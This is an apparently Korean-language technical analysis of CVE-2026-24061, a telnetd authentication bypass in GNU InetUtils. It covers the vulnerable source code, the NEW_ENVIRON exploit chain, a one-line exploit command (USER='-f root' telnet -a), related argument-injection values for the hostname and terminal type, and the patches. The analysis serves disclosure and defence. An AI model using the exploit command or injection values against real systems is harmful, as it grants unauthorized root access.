
# CVE-2026-24061 심층 기술 분석 및 스캐너 GNU InetUtils telnetd의 치명적인 인증 우회 취약점에 대한 심층 기술 분석 및 스캐너로, 익스플로잇 체인, PoC, 패치 세부 정보를 포함합니다.
CVE-2026-24061은 GNU InetUtils telnetd의 치명적인(CVSS 9.8) 원격 인증 우회 취약점으로, 인증되지 않은 공격자가 즉시 root 액세스 권한을 얻을 수 있습니다. 이 취약점은 /usr/bin/login에 명령줄 인자로 직접 전달되는 USER 환경 변수의 부적절한 검증에서 비롯됩니다. 공격자가 USER=-f root를 설정하면 login의 -f 플래그가 트리거되어 인증을 완전히 우회합니다.
영향을 받는 버전: GNU InetUtils 1.9.3 ~ 2.7 취약점 유형: CWE-88 (인자 주입) 발견 날짜: 2026년 1월 20일 발견자: Kyu Neushwaistein (일명 Carlos Cortes Alvarez)
telnetd/telnetd.c, 약 49-63행)취약점은 telnetd가 /usr/bin/login을 호출하는 방식을 정의하는 명령 템플릿 문자열에서 시작됩니다:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
핵심 관찰: 비-Solaris 시스템에서 템플릿은 다음을 사용합니다:
%?u{-f %u}{%U} - 이는 다음을 의미하는 조건부 표현식입니다:
user_name이 설정된 경우(%u), -f %u 사용 (인증된 자동 로그인)%U 사용 (USER 환경 변수를 대체값으로)핵심 문제: %U는 검증되지 않은 원본 USER 환경 변수로 확장됩니다.
telnetd/utility.c, _var_short_name())템플릿 문자열은 expand_line()에 의해 처리되며, 이 함수는 _var_short_name()을 호출하여 플레이스홀더를 확장합니다. 취약한 코드는 다음과 같습니다:
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // 잠재적으로 취약
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // 잠재적으로 취약
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // 취약!
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
핵심 버그 ('U' 케이스): USER 환경 변수는 getenv()를 통해 가져와지며 어떠한 검증도 없이 전달됩니다. 공격자가 USER=-f root를 설정하면 이 값이 login 명령줄의 일부가 됩니다.
telnetd/pty.c, start_login())확장된 로그인 호출 문자열은 start_login()에서 실행됩니다:
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
공격자가 telnetd(포트 23)에 연결
Telnet 옵션 협상 발생:
IAC DO NEW_ENVIRON 전송IAC WILL NEW_ENVIRON 응답IAC SB NEW_ENVIRON SEND 전송 (환경 요청)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE서버가 USER 변수 처리:
getenv("USER")가 -f root 반환%U가 -f root로 확장/usr/bin/login -p -h <hostname> -f rootLogin이 -f root 해석:
-f 플래그는 "인증 건너뛰기, 사용자는 사전 인증됨"을 의미root는 로그인할 사용자 이름# 공격자 머신에서:
USER='-f root' telnet -a <target_ip>
-a 플래그는 자동 로그인 모드를 활성화하여 USER 환경 변수를 서버로 전송합니다.
보안 권고는 명시적으로 다음과 같이 언급합니다: "따라서 다른 변수에도 유사한 취약점이 존재할 가능성이 있습니다." _var_short_name()의 각 변수를 분석해 보겠습니다:
| 변수 | 이름 | 소스 | 사용자 제어 가능? | 검증됨? | 공격 표면 |
|---|---|---|---|---|---|
%U | USER 환경 변수 | getenv("USER") | 예 (NEW_ENVIRON 통해) | 아니오 | 치명적 - CVE-2026-24061 |
%h | remote_hostname | DNS/PTR 조회 | 부분적 (PTR 레코드) | 아니오 | 높음 |
%T | terminaltype | TERMINAL-TYPE 옵션 | 예 | 아니오 | 중간 |
%u | user_name | 프로토콜 협상 | 예 | 아니오 | 중간 (인증 필요) |
%l | local_hostname | 시스템 구성 | 아니오 | 해당 없음 | 낮음 |
%L | line (TTY) | 시스템 할당 | 아니오 | 해당 없음 | 낮음 |
%t | tty 약식 이름 | 시스템 할당 | 아니오 | 해당 없음 | 낮음 |
%d | 날짜/시간 | 시스템 시계 | 아니오 | 해당 없음 | 없음 |
%a | 인증 상태 | 내부 상태 | 아니오 | 해당 없음 | 없음 |
%h - 원격 호스트 이름 (높은 위험)소스: telnetd.c의 telnetd_setup()에서 getnameinfo() 또는 gethostbyaddr()를 통해 채워짐.
문제: 공격자가 자신의 PTR(역방향 DNS) 레코드를 제어할 수 있다면 다음을 주입할 수 있습니다:
foo -f root
호스트 이름으로 사용하면 -h 인자의 일부가 됩니다:
/usr/bin/login -p -h "foo -f root" ...
악용 난이도:
실제 시나리오: IP의 PTR 레코드를 제어할 수 있는 공격자(VPS 제공업체에서 일반적)는 역방향 DNS를 악의적인 값으로 설정할 수 있습니다.
%T - 터미널 유형 (중간 위험)소스: Telnet TERMINAL-TYPE 하위 협상을 통해 수신되며 terminaltype 변수에 저장됨.
문제: 터미널 유형 문자열은 공격자가 제어하며 검증되지 않습니다:
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
템플릿에서의 사용:
%?T{-t %T} - -t 플래그와 함께 사용%?T{%T} - 직접 삽입잠재적 공격:
TERMINAL-TYPE: xterm -f root
그러나 악용은 다음에 따라 달라집니다:
%T를 사용하는 템플릿 (현재 Solaris만 해당)-t 인자를 처리하는 방식%u - 인증된 사용자 이름 (중간 위험)소스: 인증 협상 중에 설정됨.
문제: -f %u 패턴에서 사용됨:
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
공격자가 user_name을 조작하여 셸 메타문자나 추가 인자를 포함시킬 수 있다면 권한 상승을 달성할 수 있습니다. 그러나 이 변수는 일반적으로 일부 형태의 인증 검증 후에만 설정됩니다.
%l, %L, %t: 시스템 제어 값(로컬 호스트 이름, TTY 장치 이름)에서 파생되며 공격자가 원격으로 영향을 줄 수 없습니다.
%d: 시스템 시계에서 생성됨 - 주입 벡터 없음.
%a: 내부 인증 상태 변수 - 리터럴 "ok" 또는 NULL 반환.
이 취약점을 기반으로 코드베이스에서 검색할 패턴은 다음과 같습니다:
// 위험: 환경 변수의 직접 사용
getenv("VARIABLE")
확인할 파일:
telnetd/utility.c - 기타 확장 함수telnetd/telnetd.c - 환경 처리rlogind/, rshd/ - 유사한 서비스// 위험: 명령 템플릿의 사용자 데이터
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);
// 잠재적으로 위험: DNS 데이터는 공격자가 제어할 수 있음
getnameinfo(...); // PTR 조회
gethostbyaddr(...);
// 그런 다음 결과를 명령 구성에 사용
ftpd 데몬: 인증 및 명령 처리에서 사용자 입력이 어떻게 처리되는지 확인
rshd/rlogind 데몬: 유사한 인증 패턴을 사용하며 호스트 이름 또는 환경 처리에 유사한 문제가 있을 수 있음
inetd 구성 파싱: 서비스 설정 시 신뢰할 수 없는 입력을 처리할 수 있음
Kerberos 통합 지점: 주체 이름 또는 인증 토큰 처리 시
fd702c02)첫 번째 패치는 기본 검증을 추가합니다:
case 'U':
{
char *u = getenv("USER");
return (u && *u != '-') ? xstrdup(u) : xstrdup("");
}
이것은 -로 시작하는 값을 차단하여 플래그 주입을 방지합니다.
ccba9f74)두 번째 패치는 모든 사용자 제어 입력에 대한 재사용 가능한 sanitize() 함수를 도입합니다:
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
if (str == NULL || *str == '-')
return xstrdup ("");
return xstrdup (str);
}
모든 잠재적으로 위험한 변수에 적용:
%U (USER)%h (remote_hostname)%T (terminaltype)CVE-2026-24061은 다음과 같은 이유로 11년 동안 발견되지 않은 전형적인 인자 주입 취약점입니다:
유사한 취약점이 존재할 수 있음 %h(호스트 이름) 및 %T(터미널 유형) 변수에서, 악용은 더 복잡하지만 가능합니다.
광범위한 영향: 네트워크에서 파생된 데이터로 셸 명령이나 프로그램 인자를 구성하는 모든 코드는 유사한 주입 취약점에 대해 감사해야 합니다.
권장 완화 조치:
-f 플래그를 무시하는 사용자 정의 login 프로그램 사용